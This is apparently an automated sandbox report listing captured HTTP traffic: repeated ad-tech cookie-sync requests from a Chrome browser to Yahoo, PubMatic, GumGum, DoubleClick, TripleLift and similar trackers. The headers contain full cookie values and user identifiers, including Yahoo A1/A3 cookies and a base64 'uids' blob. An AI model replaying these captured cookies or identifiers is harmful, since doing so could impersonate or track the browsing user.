Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=208386&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=15&redirectUri=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dsad%26i%3D%5Bssb_sync_pid%5D&gdpr=0&gdpr_consent= HTTP/1.1Host: ssbsync.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257737
Source: global traffic	HTTP traffic detected: GET /csync/RX-915945b2-6af3-4975-9839-febe73c73a74-005?redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DRX-915945b2-6af3-4975-9839-febe73c73a74-005%26us_privacy%3D1YNN HTTP/1.1Host: sync.targeting.unrulymedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=gumgum2&user_id=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=gumgum HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=Ae9Pv17JW9jx3PfTe025_1714257720455; ts=1714257720
Source: global traffic	HTTP traffic detected: GET /aux/idsync?proto=gumgum HTTP/1.1Host: tg.socdm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=rubicon&uid=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=ix&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=Zi1_RMAoJXEAAC4sAhP6pwAACyQAAAAB HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-915945b2-6af3-4975-9839-febe73c73a74-005&us_privacy=1YNN HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /sync/img?mt_exid=36&7de677f8-dda1-428e-88ae-9b2fad295b01 HTTP/1.1Host: sync.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=ttd&i=43e7dc8e-5458-4375-be4a-644737ed4dbd HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
Source: global traffic	HTTP traffic detected: GET /usersync?b=rth&i=A4DedH0sMfRledw2RGl_v5wMrPITpJr3gtlSBi02byY&pi=gumgum HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
Source: global traffic	HTTP traffic detected: GET /usersync?b=sus&i=Zi1-TcCo5sIAAGeZz2wAAAAA HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
Source: global traffic	HTTP traffic detected: GET /usersync?b=adf&i=1229556523303002514&gdpr=0&gdpr_consent= HTTP/1.1Host: usersync.gumgum.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /sync?gdpr=0&cmp_cs=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dtriplelift%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync=CgoIoQEQk4vkjfIxCgoI5gEQk4vkjfIxCgoIhwIQk4vkjfIxCgoItwIQk4vkjfIxCgkIOhCTi-SN8jEKCQgbEJOL5I3yMQoKCIwCEJOL5I3yMQoKCKwCEJOL5I3yMQoKCK0CEJOL5I3yMQoJCF8Qk4vkjfIx; receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /xuid?mid=5989&xuid=CAESEBJVs4r0NTsVVzWoqwvl4IE&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
